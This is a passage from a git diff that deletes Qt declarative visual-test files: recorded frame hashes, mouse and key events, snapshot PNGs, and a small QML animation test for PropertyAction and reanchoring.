"d60758fc12471a19d31c85f058f2ded7" - } - Frame { - msec: 2832 - hash: "c62e2956f8eb5d2c8cd76ba05c5929d5" - } - Frame { - msec: 2848 - hash: "f2967ee7e035a9ff258116a2706529f8" - } - Frame { - msec: 2864 - hash: "885c4705c6c29f69c56c44abc1251d75" - } - Frame { - msec: 2880 - image: "propertyAction.2.png" - } - Frame { - msec: 2896 - hash: "f4af6871e522511f95bc4c5abfc2a562" - } - Frame { - msec: 2912 - hash: "b27e1e7e0d90468525309528ccfe2823" - } - Frame { - msec: 2928 - hash: "78e7d84a4466258b40315fe61b7ca15c" - } - Frame { - msec: 2944 - hash: "471013d921d8d6e7468fd6aba0b75c71" - } - Frame { - msec: 2960 - hash: "856048da893c9136ac5740bc89b64128" - } - Frame { - msec: 2976 - hash: "32ccdab249268b01d9f1658a736052f1" - } - Frame { - msec: 2992 - hash: "2264fa3acd979f104633c1301a0efd8f" - } - Frame { - msec: 3008 - hash: "f3199d0c860f1236e0b9472bef8785bc" - } - Frame { - msec: 3024 - hash: "ad899d1ecaa43a5541be7b70413caee5" - } - Frame { - msec: 3040 - hash: "4e652524c992f5ee1b987275ca509728" - } - Frame { - msec: 3056 - hash: "a44b3dec2a016694bc8553a51b29d46c" - } - Frame { - msec: 3072 - hash: "7fbe20346bc3c28c345e0797b55599f3" - } - Frame { - msec: 3088 - hash: "bcff18ad433bb4f08126ee66efb037d1" - } - Frame { - msec: 3104 - hash: "836666c64f73c38e87de95944ff2fe72" - } - Frame { - msec: 3120 - hash: "4379982d23db239b1741b5d72c53e160" - } - Frame { - msec: 3136 - hash: "0ed9476337214e1493c1510b8a4c90f8" - } - Frame { - msec: 3152 - hash: "dab637406577a1924c7dbb30680e1af3" - } - Frame { - msec: 3168 - hash: "dcc79277fdb8966e5a3f2ed1b2fc4292" - } - Frame { - msec: 3184 - hash: "5f207d1dfad4907f200d76104881bf56" - } - Frame { - msec: 3200 - hash: "3434fc7f81e859722585dae97c557864" - } - Frame { - msec: 3216 - hash: "7c775b9be8c5293d4962324574267c22" - } - Frame { - msec: 3232 - hash: "da0ff6955c2e4cd86421bdb9053f56e6" - } - Frame { - msec: 3248 - hash: "a1297d525a3ad41abbbb7c2f15efd4fb" - } - Frame { - msec: 3264 - hash: "5326b220995b2a1eaa308ad10fd353fa" - } - Frame { - msec: 3280 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3296 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3312 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3328 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3344 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 3360 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3376 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3392 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3408 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3424 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3440 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3456 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3472 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3488 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3504 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3520 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3536 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3552 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3568 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3584 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3600 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3616 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 3632 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } -} diff --git a/tests/auto/declarative/visual/animation/propertyAction/propertyAction.qml b/tests/auto/declarative/visual/animation/propertyAction/propertyAction.qml deleted file mode 100644 index e18e770..0000000 --- a/tests/auto/declarative/visual/animation/propertyAction/propertyAction.qml +++ /dev/null @@ -1,34 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 400; height: 400 - Rectangle { - id: myRect - width: 100; height: 100 - color: "red" - } - MouseArea { - id: clickable - anchors.fill: parent - } - - states: State { - name: "state1" - when: clickable.pressed - PropertyChanges { - target: myRect - x: 50; y: 50 - color: "blue" - } - } - - transitions: Transition { - to: "state1" - reversible: true - SequentialAnimation { - ColorAnimation {} - PropertyAction { properties: "x" } - NumberAnimation { properties: "y"; easing.type: "InOutQuad" } - } - } -} diff --git a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.0.png b/tests/auto/declarative/visual/animation/reanchor/data/reanchor.0.png deleted file mode 100644 index 454f6c1..0000000 Binary files a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.1.png b/tests/auto/declarative/visual/animation/reanchor/data/reanchor.1.png deleted file mode 100644 index 9dde537..0000000 Binary files a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.2.png b/tests/auto/declarative/visual/animation/reanchor/data/reanchor.2.png deleted file mode 100644 index 454f6c1..0000000 Binary files a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.3.png b/tests/auto/declarative/visual/animation/reanchor/data/reanchor.3.png deleted file mode 100644 index 454f6c1..0000000 Binary files a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.4.png b/tests/auto/declarative/visual/animation/reanchor/data/reanchor.4.png deleted file mode 100644 index 043b487..0000000 Binary files a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.5.png b/tests/auto/declarative/visual/animation/reanchor/data/reanchor.5.png deleted file mode 100644 index 79c791d..0000000 Binary files a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.6.png b/tests/auto/declarative/visual/animation/reanchor/data/reanchor.6.png deleted file mode 100644 index 454f6c1..0000000 Binary files a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.7.png b/tests/auto/declarative/visual/animation/reanchor/data/reanchor.7.png deleted file mode 100644 index 454f6c1..0000000 Binary files a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.8.png b/tests/auto/declarative/visual/animation/reanchor/data/reanchor.8.png deleted file mode 100644 index a7d6674..0000000 Binary files a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.8.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.qml b/tests/auto/declarative/visual/animation/reanchor/data/reanchor.qml deleted file mode 100644 index a130b75..0000000 --- a/tests/auto/declarative/visual/animation/reanchor/data/reanchor.qml +++ /dev/null @@ -1,2471 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 32 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 48 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 64 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 80 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 96 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 112 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 128 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 144 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 160 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 176 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 192 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 208 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 224 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 240 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 256 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 272 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 288 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 304 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 320 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 336 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 352 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 368 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 384 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 400 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 416 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 432 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 448 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 464 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 480 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 496 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 512 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 528 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 544 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 560 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 576 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 592 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 608 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 624 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 640 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 656 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 672 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 688 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 704 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 720 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 736 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 752 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 768 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 784 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 800 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 816 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 832 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 848 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 864 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 880 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 896 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 912 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 928 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 944 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 960 - image: "reanchor.0.png" - } - Frame { - msec: 976 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 992 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1008 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1024 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1040 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1056 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1072 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1088 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1104 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1120 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1136 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1152 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1168 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1184 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1200 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1216 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1232 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1248 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1264 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1280 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1296 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1312 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1328 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1344 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1360 - hash: "213811853dbefdc418099721e3bf8651" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 88; y: 115 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1376 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1392 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1408 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1424 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1440 - hash: "213811853dbefdc418099721e3bf8651" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 88; y: 115 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1456 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 1472 - hash: "eb3eeb37ab7b26692cbf100adfaf3772" - } - Frame { - msec: 1488 - hash: "e1a8cdcb1f3ec097a968b3b20964c6e8" - } - Frame { - msec: 1504 - hash: "44fc52479251327d0612de17ddb056eb" - } - Frame { - msec: 1520 - hash: "fa7e4a910aa60500575a34852c0c7cb8" - } - Frame { - msec: 1536 - hash: "66d205a02e35221e7684ab995acc1312" - } - Frame { - msec: 1552 - hash: "4ebe8dba6d9f3179b610b2298a7484a2" - } - Frame { - msec: 1568 - hash: "9b2582fccffa34fe389ba427ce47619a" - } - Frame { - msec: 1584 - hash: "e6f15478bda9995f82976b9e16659c8e" - } - Frame { - msec: 1600 - hash: "f08df0885fff04819ada6c10b25dd489" - } - Frame { - msec: 1616 - hash: "0f57c152306747cfa27171f1947ca65d" - } - Frame { - msec: 1632 - hash: "89d9c988abd55063e210b81193c6a8f0" - } - Frame { - msec: 1648 - hash: "91e0d0a5d57210c790c2d2399d1f7022" - } - Frame { - msec: 1664 - hash: "267874fdc09459b3e854c06d9ae99a54" - } - Frame { - msec: 1680 - hash: "2f58a508f439c40c6f2bd7da1f30deff" - } - Frame { - msec: 1696 - hash: "1451548d9f0002a6c4765cb616ab7f59" - } - Frame { - msec: 1712 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 1728 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 1744 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 1760 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 1776 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 1792 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 1808 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 1824 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 1840 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 1856 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 1872 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 1888 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 1904 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 1920 - image: "reanchor.1.png" - } - Frame { - msec: 1936 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 1952 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 1968 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 1984 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 2000 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 2016 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 2032 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 2048 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 2064 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 2080 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 2096 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 87; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2112 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 2128 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 2144 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 2160 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 2176 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 2192 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 2208 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 87; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2224 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 2240 - hash: "8ceca291e28f52368346f171c2f31664" - } - Frame { - msec: 2256 - hash: "903877286f3ef112e6a661abde5c17bd" - } - Frame { - msec: 2272 - hash: "cc2d15c96571f9328b929f96849c8f9e" - } - Frame { - msec: 2288 - hash: "26e6c03b1b91b725d6e0fe9216a7413e" - } - Frame { - msec: 2304 - hash: "213e8e9905bea32ddb97d38b75cd19cc" - } - Frame { - msec: 2320 - hash: "17d5726a282d42fcde7796be84606fcd" - } - Frame { - msec: 2336 - hash: "f4629bf9f5837f687ae49008c9d28d02" - } - Frame { - msec: 2352 - hash: "fbc927cb136d8d29b2578e78c4793e41" - } - Frame { - msec: 2368 - hash: "c7099e732490dd2f3205986a7c43a165" - } - Frame { - msec: 2384 - hash: "b3b464a8e67fab05109b49604f1ce705" - } - Frame { - msec: 2400 - hash: "7629b2a77f9f87aa0ef2535aa9b8d390" - } - Frame { - msec: 2416 - hash: "6a329c289236782e095cfa6f15409726" - } - Frame { - msec: 2432 - hash: "1cfbf6f4c292e1520b44d84dd59b93a8" - } - Frame { - msec: 2448 - hash: "a8d3d838bffb39053eb705aefcb39c46" - } - Frame { - msec: 2464 - hash: "a56ad66a949e07e3174a58c80145c85e" - } - Frame { - msec: 2480 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2496 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2512 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2528 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2544 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2560 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2576 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2592 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2608 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2624 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2640 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2656 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2672 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2688 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2704 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2720 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2736 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2752 - hash: "213811853dbefdc418099721e3bf8651" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 87; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2768 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2784 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2800 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2816 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2832 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2848 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 2864 - hash: "213811853dbefdc418099721e3bf8651" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 87; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2880 - image: "reanchor.2.png" - } - Frame { - msec: 2896 - hash: "eb3eeb37ab7b26692cbf100adfaf3772" - } - Frame { - msec: 2912 - hash: "e1a8cdcb1f3ec097a968b3b20964c6e8" - } - Frame { - msec: 2928 - hash: "44fc52479251327d0612de17ddb056eb" - } - Frame { - msec: 2944 - hash: "fa7e4a910aa60500575a34852c0c7cb8" - } - Frame { - msec: 2960 - hash: "66d205a02e35221e7684ab995acc1312" - } - Frame { - msec: 2976 - hash: "4ebe8dba6d9f3179b610b2298a7484a2" - } - Frame { - msec: 2992 - hash: "9b2582fccffa34fe389ba427ce47619a" - } - Frame { - msec: 3008 - hash: "e6f15478bda9995f82976b9e16659c8e" - } - Frame { - msec: 3024 - hash: "f08df0885fff04819ada6c10b25dd489" - } - Frame { - msec: 3040 - hash: "0f57c152306747cfa27171f1947ca65d" - } - Frame { - msec: 3056 - hash: "89d9c988abd55063e210b81193c6a8f0" - } - Frame { - msec: 3072 - hash: "91e0d0a5d57210c790c2d2399d1f7022" - } - Frame { - msec: 3088 - hash: "267874fdc09459b3e854c06d9ae99a54" - } - Frame { - msec: 3104 - hash: "2f58a508f439c40c6f2bd7da1f30deff" - } - Frame { - msec: 3120 - hash: "1451548d9f0002a6c4765cb616ab7f59" - } - Frame { - msec: 3136 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3152 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3168 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3184 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3200 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3216 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3232 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3248 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3264 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3280 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3296 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3312 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3328 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3344 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3360 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 87; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3376 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3392 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3408 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3424 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3440 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3456 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3472 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 87; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3488 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 3504 - hash: "8ceca291e28f52368346f171c2f31664" - } - Frame { - msec: 3520 - hash: "903877286f3ef112e6a661abde5c17bd" - } - Frame { - msec: 3536 - hash: "cc2d15c96571f9328b929f96849c8f9e" - } - Frame { - msec: 3552 - hash: "26e6c03b1b91b725d6e0fe9216a7413e" - } - Frame { - msec: 3568 - hash: "213e8e9905bea32ddb97d38b75cd19cc" - } - Frame { - msec: 3584 - hash: "17d5726a282d42fcde7796be84606fcd" - } - Frame { - msec: 3600 - hash: "f4629bf9f5837f687ae49008c9d28d02" - } - Frame { - msec: 3616 - hash: "fbc927cb136d8d29b2578e78c4793e41" - } - Frame { - msec: 3632 - hash: "c7099e732490dd2f3205986a7c43a165" - } - Frame { - msec: 3648 - hash: "b3b464a8e67fab05109b49604f1ce705" - } - Frame { - msec: 3664 - hash: "7629b2a77f9f87aa0ef2535aa9b8d390" - } - Frame { - msec: 3680 - hash: "6a329c289236782e095cfa6f15409726" - } - Frame { - msec: 3696 - hash: "1cfbf6f4c292e1520b44d84dd59b93a8" - } - Frame { - msec: 3712 - hash: "a8d3d838bffb39053eb705aefcb39c46" - } - Frame { - msec: 3728 - hash: "a56ad66a949e07e3174a58c80145c85e" - } - Frame { - msec: 3744 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 3760 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 3776 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 3792 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 3808 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 3824 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 3840 - image: "reanchor.3.png" - } - Frame { - msec: 3856 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 3872 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 3888 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 3904 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 3920 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 3936 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 3952 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 3968 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 3984 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4000 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4016 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4032 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4048 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4064 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4080 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4096 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4112 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4128 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4144 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4160 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4176 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4192 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4208 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4224 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4240 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4256 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4272 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4288 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4304 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4320 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4336 